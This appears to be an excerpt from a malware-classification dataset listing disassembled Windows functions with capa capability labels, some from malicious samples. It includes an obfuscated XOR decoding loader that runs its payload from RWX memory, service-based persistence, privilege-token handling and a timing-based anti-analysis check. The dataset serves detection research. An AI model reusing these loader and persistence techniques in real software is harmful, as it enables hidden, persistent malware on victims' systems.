joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4120e4
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x428968]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x412124
cmp byte [ebx], 0xa
jne 0x412124
or byte [edi + eax + 0x28], 4
jmp 0x412129
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x412228
mov dl, byte [eax]
cmp dl, 0x1a
je 0x41220b
inc eax
cmp dl, 0xd
je 0x412155
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x41217b
cmp eax, ecx
jae 0x412189
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x41213d
jmp 0x412228
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x412206
cmp dword [ebp - 0x10], 0
je 0x412206
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x428968]
test byte [eax + edi + 0x28], 0x48
je 0x4121e0
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x4121cb
mov byte [esi], dl
jmp 0x4121dc
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x428968]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x412228
cmp byte [ebp - 1], 0xa
jne 0x4121ef
cmp esi, ebx
jne 0x4121ef
mov byte [esi], 0xa
jmp 0x412227
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00412c6a
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x412228
mov byte [esi], 0xd
jmp 0x412227
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x428968]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x412225
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x412228
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x412231
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x428968]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x412277
cmp word [ebx], dx
jne 0x412277
or byte [eax + edi + 0x28], 4
jmp 0x41227c
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x4123df
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x4123bf
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x4122bd
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x4122f3
cmp eax, edx
jae 0x412301
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x412298
jmp 0x4123df
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4123ba
cmp dword [ebp - 0x18], 0
je 0x4123ba
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x428968]
test byte [eax + edi + 0x28], 0x48
je 0x412390
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x412354
mov word [esi], cx
jmp 0x41238b
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x428968]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x428968]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x428968]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x4123df
pop eax
cmp word [ebp - 4], ax
jne 0x4123a0
cmp esi, ebx
jne 0x4123a0
mov word [esi], ax
jmp 0x4123dc
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.00412c6a
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x4123df
push 0xd
pop eax
jmp 0x41239b
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x428968]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x4123d9
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x4123df
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x416046
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x4160e3
push ebx
push esi
call fcn.0041600f
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.00414d40
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x416090
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x4160e2
push edi
push eax
call fcn.00412e4b
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x4160b0
call fcn.0040f1bb
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x4160e1
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.00414d40
add esp, 0x20
test eax, eax
jne 0x4160cf
push edi
call fcn.0040f1bb
jmp 0x4160d7
push ebx
call fcn.0040f1bb
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x418710
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.0040eed0
mov esi, dword [ebp + 8]
mov edi, eax
push 2
lea eax, [ebp - 4]
mov ecx, esi
push eax
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x41877f
cmp esi, dword [ebp - 4]
je 0x41877a
cmp dword [ebp + 0xc], 0
je 0x41877a
mov esi, dword [edi + 0x50]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x418757
push dword [edi + 0x50]
sub esi, ecx
sar esi, 1
call fcn.00418262
pop ecx
xor ecx, ecx
cmp eax, esi
setne cl
mov eax, ecx
jmp 0x418781
xor eax, eax
inc eax
jmp 0x418781
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x4187e6
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x427040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 0x18], eax
call fcn.0040eed0
add eax, 0x50
lea edi, [ebp - 0x10]
mov dword [ebp - 0x14], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.0040eed0
lea ecx, [ebp - 0x10]
xor edx, edx
mov dword [eax + 0x34c], ecx
lea ecx, [esi + 0x80]
mov eax, dword [ebp - 0x14]
mov dword [eax], esi
lea edi, [eax + 4]
mov dword [edi], ecx
test ecx, ecx
je 0x41885d
cmp word [ecx], dx
je 0x41885d
mov eax, dword [0x420a54]
push edi
dec eax
push eax
push 0x420940
call fcn.00418785
mov eax, dword [ebp - 0x14]
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x10], edx
mov eax, dword [eax]
test eax, eax
je 0x4188d0
cmp word [eax], dx
je 0x4188d0
mov eax, dword [edi]
test eax, eax
je 0x418881
cmp word [eax], dx
je 0x418881
lea eax, [ebp - 0x10]
push eax
call fcn.00418168
jmp 0x41888a
lea eax, [ebp - 0x10]
push eax
call fcn.00418203
cmp dword [ebp - 0x10], 0
pop ecx
jne 0x4188fa
mov eax, dword [0x42093c]
push dword [ebp - 0x14]
dec eax
push eax
push 0x420630
call fcn.00418785
add esp, 0xc
test al, al
je 0x4188fa
mov eax, dword [edi]
xor edi, edi
test eax, eax
je 0x4188c5
cmp word [eax], di
je 0x4188c5
lea eax, [ebp - 0x10]
push eax
call fcn.00418168
pop ecx
jmp 0x4188fc
lea eax, [ebp - 0x10]
push eax
call fcn.00418203
jmp 0x4188c2
mov eax, dword [edi]
test eax, eax
je 0x4188e7
cmp word [eax], dx
je 0x4188e7
lea eax, [ebp - 0x10]
push eax
call fcn.0041811d
pop ecx
jmp 0x4188fa
mov dword [ebp - 0x10], 0x104
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
xor edi, edi
cmp dword [ebp - 0x10], 0
je 0x4189c5
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x100]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.0041860a
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x4189c5
movzx ecx, si
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
test eax, eax
je 0x4189c5
push 1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
test eax, eax
je 0x4189c5
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x418952
mov dword [eax], esi
mov eax, dword [ebp - 0x14]
push edi
push 0x55
add eax, 0x250
push eax
push dword [ebp - 0xc]
call fcn.00410460
test ebx, ebx
je 0x4189c0
push edi
push 0x55
lea eax, [ebx + 0x120]
push eax
push dword [ebp - 0xc]
call fcn.00410460
push 0x40
push ebx
push 0x1001
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x4189c5
push 0x40
lea eax, [ebx + 0x80]
push eax
push 0x1002
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x4189c5
push 0xa
push 0x10
lea ecx, [ebx + 0x100]
push ecx
push esi
call fcn.0041a696
add esp, 0x10
xor eax, eax
inc eax
jmp 0x4189c7
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004048cc
leave
ret
Function at 0x41c2e0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41c30d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41c30d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x425785
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0041e7cf
and dword [ebp - 4], 0
cmp dword [0x4501f0], 0
mov ebx, eax
jne 0x425836
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4258e7
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x4258e7
push eax
call fcn.0041e75d
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x4501f0], eax
call esi
push eax
call fcn.0041e75d
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4501f4], eax
call esi
push eax
call fcn.0041e75d
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x4501f8], eax
call esi
push eax
call fcn.0041e75d
pop ecx
mov dword [0x450200], eax
test eax, eax
je 0x425836
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0041e75d
pop ecx
mov dword [0x4501fc], eax
mov eax, dword [0x4501fc]
cmp eax, ebx
je 0x42588e
cmp dword [0x450200], ebx
je 0x42588e
push eax
call fcn.0041e7d8
push dword [0x450200]
mov esi, eax
call fcn.0041e7d8
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x42588e
test edi, edi
je 0x42588e
call esi
test eax, eax
je 0x425885
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x425885
test byte [ebp - 0xc], 1
jne 0x42588e
or dword [ebp + 0x10], 0x200000
jmp 0x4258c7
mov eax, dword [0x4501f4]
cmp eax, ebx
je 0x4258c7
push eax
call fcn.0041e7d8
pop ecx
test eax, eax
je 0x4258c7
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4258c7
mov eax, dword [0x4501f8]
cmp eax, ebx
je 0x4258c7
push eax
call fcn.0041e7d8
pop ecx
test eax, eax
je 0x4258c7
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4501f0]
call fcn.0041e7d8
pop ecx
test eax, eax
je 0x4258e7
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4258e9
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c
Function at 0x40595e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x40596d
pop dword [ebp - 0x4c]
mov eax, 0xc9c2165c
add eax, 0x367e4311
sub dword [ebp - 0x4c], eax
mov dword [ebp - 0x5c], 0x716d6a3f
add dword [ebp - 0x5c], 0xdce4db0c
mov dword [ebp - 0x58], 0x88858535
sub dword [ebp - 0x58], 0x565238f0
mov dword [ebp - 0x54], 0xe292a745
sub dword [ebp - 0x54], 0x96466317
mov dword [ebp - 0x50], 0x7b2a7884
sub dword [ebp - 0x50], 0x7b2a7884
lea eax, [ebp - 0x5c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x4c]
call dword [eax]
mov dword [ebp - 0x5c], 0x997297fc
sub dword [ebp - 0x5c], 0x25002ea6
mov dword [ebp - 0x58], 0x923adf7a
sub dword [ebp - 0x58], 0x50ce7e05
mov dword [ebp - 0x54], 0x7b630757
add dword [ebp - 0x54], 0xe80c6515
mov dword [ebp - 0x50], 0xf9a4de50
add dword [ebp - 0x50], 0x65b21b0
lea ebx, [ebp - 0x5c]
push ebx
push eax
mov eax, 0x6184f1b2
sub eax, 0x614480b2
add eax, dword [ebp - 0x4c]
call dword [eax]
push 0x40
push 0x1000
push 0x3855b
push 0
call eax
mov ecx, 0x4e79
xor esi, esi
add esi, eax
mov edx, 0xd012fff7
add edx, 0x302e0009
add edx, dword [ebp - 0x4c]
mov ebx, 0x7aa87e95
add ebx, 0x2f4c7ed5
add dword [ebp - 0x1c], ecx
mov edi, dword [edx]
sub dword [ebp - 0x3c], ebx
xor edi, ebx
add dword [ebp - 0x48], esi
mov dword [esi], edi
sub dword [ebp - 0x3c], edi
add esi, 4
add edx, 0xf4f07cee
sub edx, 0xf4f07cea
loop 0x405a86
add eax, 0xf4e33508
sub eax, 0xf4e20851
mov ebx, eax
add eax, 0x245b6e76
sub eax, 0x245b6e71
mov ecx, 0x400000
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret

Function at 0x4065b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c17c]
jne 0x4065ba
repz ret
jmp fcn.00406941
Function at 0x401044
Capabilities:
Terminate process

Disassembly:
call section..text
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_ExitProcess]

Function at 0x40106a
Capabilities:
Create thread

Disassembly:
call section..text
push 0
mov ebx, esp
push ebx
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [ebx]
call fcn.0040100e
ret 8

Function at 0x40110c
Capabilities:
Allocate or change rwx memory

Disassembly:
call section..text
mov eax, dword [ebp + 8]
push 0x40
push 0x1000
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
call fcn.0040100e
ret 4

Function at 0x40461e
Capabilities:
Create service
Persist via windows service

Disassembly:
call fcn.004056ab
call fcn.00401022
mov edi, eax
xor ecx, ecx
dec ecx
xor eax, eax
repne scasb al, byte es:[edi]
add ecx, 2
jb 0x404668
mov ax, word [edi - 3]
push 0
push fcn.00401044
cmp ax, 0x692d
je 0x4056bc
cmp ax, 0x752d
je 0x405827
cmp ax, 0x732d
je 0x405856
add esp, 8
cmp ax, 0x622d
je 0x404671
call fcn.00405a8d
test eax, eax
jne 0x404677
call fcn.0040467e
ret
push 0
call fcn.00401044
call section..text
sub esp, 0x120
mov ebx, esp
call fcn.004057bd
inc ebx
push 0x104
push ebx
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
test byte [0x405674], 1
je 0x405702
push ebx
call fcn.00401291
push eax
push ebx
push 0x4055e4
push 0x405675
call fcn.004049ae
jmp 0x4057b7
dec ebx
mov edi, ebx
mov byte [edi], 0x22
add edi, 0x104
xor ecx, ecx
dec ecx
xor eax, eax
std
repe scasb al, byte es:[edi]
cld
mov byte [edi + 2], 0x22
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.DLL_OpenSCManagerA]
test eax, eax
je 0x4057b7
mov esi, eax
push 0
push 0
push 0x405618
push 0
push 0
push ebx
push 0
push 2
push 0x10
push 0xf003f
push 0x4055e4
push 0x4055e4
push esi
call dword [sym.imp.ADVAPI32.DLL_CreateServiceA]
test eax, eax
je 0x4057b0
mov ebx, eax
push 0x405623
call fcn.0040109f
call 0x405786
inc ebx
push 0x65676e61
push ebx
jb 0x4057f0
imul esp, dword [ebx + 0x65], 0x666e6f43
imul esp, dword [edi + 0x32], 0xe8500041
sub dword [ecx - 0x3f7a0001], edi
je 0x4057a6
push eax
push 0x405640
push 1
push ebx
call eax
pop eax
push 0x40565c
push 2
push ebx
call eax
xor eax, eax
inc eax
push ebx
call dword [sym.imp.ADVAPI32.DLL_CloseServiceHandle]
push esi
call dword [sym.imp.ADVAPI32.DLL_CloseServiceHandle]
call fcn.0040100e
ret
jmp [edx]
pop ebp
inc eax
add byte [ebp - 0x76e08b40], al
loope 0x4057c1
add eax, dword [ecx]
add byte [eax], al
add bh, al
inc ebx
or al, 2
add byte [eax], al
add byte [edx], ch
push 0
push 0
push ebx
push 0
push esi
call dword [sym.imp.ADVAPI32.DLL_AdjustTokenPrivileges]
mov ebx, eax
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, ebx
call fcn.0040100e
ret
test byte [0x405674], 1
je 0x40584e
push 0x4055e4
push 0
push 0
push 0
push 0x405675
push 0x80000002
call fcn.00404b60
mov edi, eax
jmp 0x405855
push 1
call fcn.0040585e
ret
push 0
call fcn.0040585e
ret
Function at 0x404949
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push 0
call fcn.004048dd
xchg ecx, eax
push eax
push ecx
push 0
push esp
push 0
push 0
push 0
push dword [ebp + 0x1c]
push ecx
call sub.ADVAPI32.DLL_RegQueryValueExA
pop esi
push esi
add esi, 0x10
push esi
call fcn.0040110c
mov ecx, esp
mov edx, dword [esp + 4]
push eax
push ecx
push eax
push 0
push 0
push dword [ebp + 0x1c]
push edx
call sub.ADVAPI32.DLL_RegQueryValueExA
push eax
push dword [esp + 0xc]
call sub.ADVAPI32.DLL_RegCloseKey
pop edx
pop eax
pop ecx
add esp, 8
mov esp, ebp
pop ebp
ret 0x18

Function at 0x404a17
Capabilities:
Query or enumerate registry key

Disassembly:
call section..text
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push 0
call fcn.004048dd
test ecx, ecx
jne 0x404a95
mov ebx, eax
push ebx
call fcn.0040472e
test edx, edx
je 0x404a95
xchg ecx, edx
inc edx
push edx
call fcn.0040110c
mov edi, eax
dec ecx
xor esi, esi
push edx
mov edx, dword [esp]
push ecx
push edx
push edi
push esi
push ebx
call sub.ADVAPI32.DLL_RegEnumKeyA
push 0
push 0
push 0
push edi
push ebx
push 0
call fcn.004048dd
test ecx, ecx
jne 0x404a7f
push eax
push edi
push dword [ebp + 0x20]
push eax
call dword [ebp + 0x1c]
call sub.ADVAPI32.DLL_RegCloseKey
pop ecx
inc esi
sub ecx, 1
jae 0x404a51
push edi
call fcn.0040112c
push ebx
call sub.ADVAPI32.DLL_RegCloseKey
add esp, 4
call fcn.0040100e
ret 0x1c

Function at 0x40585e
Capabilities:
Delete service
Stop service

Disassembly:
call section..text
push 0x10020
push 0
push 0
call dword [sym.imp.ADVAPI32.DLL_OpenSCManagerA]
test eax, eax
je 0x4058ce
mov esi, eax
push 0x10020
push 0x4055e4
push eax
call dword [sym.imp.ADVAPI32.DLL_OpenServiceA]
test eax, eax
je 0x4058c3
mov ebx, eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
mov ecx, esp
push ecx
push 1
push ebx
call dword [sym.imp.ADVAPI32.DLL_ControlService]
test dword [ebp + 8], 1
je 0x4058b9
push ebx
call dword [sym.imp.ADVAPI32.DLL_DeleteService]
push ebx
call dword [sym.imp.ADVAPI32.DLL_CloseServiceHandle]
xor eax, eax
inc eax
mov ebx, eax
push esi
call dword [sym.imp.ADVAPI32.DLL_CloseServiceHandle]
mov eax, ebx
call fcn.0040100e
ret 4
Function at 0x4059a6
Capabilities:
Compare security identifiers

Disassembly:
call section..text
push 0x405623
call fcn.0040109f
call 0x4059a6
inc ebx
push 0x546b6365
outsd dx, dword [esi]
imul esp, dword [ebp + 0x6e], 0x4d
insd dword es:[edi], dx
bound esp, qword [ebp + 0x72]
jae 0x405a0b
imul esi, dword [eax], 0xb709e850
invalid
push esp
push 0
push 0
push 2
push dword [esi]
call dword [sym.imp.ADVAPI32.DLL_GetTokenInformation]
pop edi
test edi, edi
je 0x405a6e
push edi
call fcn.0040110c
push 0
push esp
push edi
push eax
push 2
push dword [esi]
mov edi, eax
call dword [sym.imp.ADVAPI32.DLL_GetTokenInformation]
add esp, 4
test eax, eax
je 0x405a66
push esi
mov esi, edi
lodsd eax, dword [esi]
mov ecx, eax
lodsd eax, dword [esi]
push ecx
push dword [ebx]
push eax
call dword [sym.imp.ADVAPI32.DLL_EqualSid]
pop ecx
test eax, eax
je 0x405a60
lodsd eax, dword [esi]
test eax, 4
je 0x405a43
xor eax, eax
inc eax
jmp 0x405a65
lodsd eax, dword [esi]
loop 0x405a43
mov eax, ecx
pop esi
push eax
push edi
call fcn.0040112c
pop eax
push eax
push dword [esi]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop eax
jmp 0x405a87
call fcn.0040100e
ret

Function at 0x405a8d
Capabilities:
Set current directory

Disassembly:
call section..text
test byte [0x405674], 1
je 0x405ae5
call 0x405aad
imul esp, dword [ebp + 0x72], 0x6e
insb byte es:[edi], dx
xor esi, dword [edx]
insb byte es:[edi], dx
insb byte es:[edi], dx
add al, ch
in eax, dx
mov ch, 0xff
invalid
call fcn.0040597d
test eax, eax
je 0x405af5
call fcn.0040592b
jmp 0x405b00
push 0x405630
call dword [sym.imp.ADVAPI32.DLL_StartServiceCtrlDispatcherW]
call fcn.0040100e
ret

Function at 0x405aad
Capabilities:
Set current directory

Disassembly:
call section..text
test byte [0x405674], 1
je 0x405ae5
call 0x405aad
imul esp, dword [ebp + 0x72], 0x6e
insb byte es:[edi], dx
xor esi, dword [edx]
insb byte es:[edi], dx
insb byte es:[edi], dx
add al, ch
in eax, dx
mov ch, 0xff
invalid
call fcn.0040597d
test eax, eax
je 0x405af5
call fcn.0040592b
jmp 0x405b00
push 0x405630
call dword [sym.imp.ADVAPI32.DLL_StartServiceCtrlDispatcherW]
call fcn.0040100e
ret
Function at 0x401ad0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0xc]
push edi
dec esi
push esi
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edi, dword [ebp + 8]
sub eax, edi
cmp eax, esi
jae 0x401b04
nop
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, edi
cmp eax, esi
jb 0x401af0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, eax
lea esp, [esp]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, esi
je 0x401b10
pop edi
pop esi
pop ebp
ret